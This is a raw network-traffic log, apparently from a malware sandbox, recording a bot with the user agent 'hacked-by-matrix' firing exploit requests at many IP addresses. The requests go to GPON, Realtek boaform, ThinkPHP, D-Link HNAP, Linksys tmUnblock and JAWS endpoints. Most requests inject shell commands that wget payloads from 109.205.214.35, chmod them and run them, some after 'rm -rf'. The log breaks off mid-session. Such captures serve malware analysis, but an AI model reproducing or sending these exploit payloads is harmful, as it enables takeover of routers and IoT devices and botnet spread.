Mar 21, 2024 05:17:39.018229961 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:17:38 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 512a9cd52d1c7f67c1024cc6f45426f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P5 X-Amz-Cf-Id: 5ntqE2KFUpFr_B746RVXbdaHPlzUyM9aBjKtd7stHDHRZWNNh53fig== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 35 6e 74 71 45 32 4b 46 55 70 46 72 5f 42 37 34 36 52 56 58 62 64 61 48 50 6c 7a 55 79 4d 39 61 42 6a 4b 74 64 37 73 74 48 44 48 52 5a 57 4e 4e 68 35 33 66 69 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 5ntqE2KFUpFr_B746RVXbdaHPlzUyM9aBjKtd7stHDHRZWNNh53fig==</PRE><ADDRESS></ADDRESS></BODY></HTML>
Mar 21, 2024 05:17:41.501930952 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:17:38 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 512a9cd52d1c7f67c1024cc6f45426f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P5 X-Amz-Cf-Id: 5ntqE2KFUpFr_B746RVXbdaHPlzUyM9aBjKtd7stHDHRZWNNh53fig== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 35 6e 74 71 45 32 4b 46 55 70 46 72 5f 42 37 34 36 52 56 58 62 64 61 48 50 6c 7a 55 79 4d 39 61 42 6a 4b 74 64 37 73 74 48 44 48 52 5a 57 4e 4e 68 35 33 66 69 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 5ntqE2KFUpFr_B746RVXbdaHPlzUyM9aBjKtd7stHDHRZWNNh53fig==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	34626	2.29.94.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.142955065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	58010	2.213.158.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.143007040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	38402	52.6.203.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.161664963 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	48012	88.221.65.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.184528112 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:39.367625952 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:17:39 GMT Date: Thu, 21 Mar 2024 04:17:39 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 36 30 65 30 38 63 33 26 23 34 36 3b 31 37 31 30 39 39 34 36 35 39 26 23 34 36 3b 65 66 33 33 61 34 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.360e08c3.1710994659.ef33a4a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	44702	213.151.38.7	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.355838060 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:43.419975996 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	58864	174.3.135.246	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.458434105 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:17:39.681139946 CET	188	IN	HTTP/1.0 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 21 Mar 2024 04:17:39 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	42906	104.17.179.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.479144096 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:39.577447891 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Thu, 21 Mar 2024 04:17:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	35574	23.108.109.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.542409897 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:39.697148085 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:39 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	43224	172.65.50.66	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.897162914 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	35918	172.65.200.240	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.093745947 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	48272	200.53.13.121	7547

Timestamp	Bytes transferred	Direction	Data
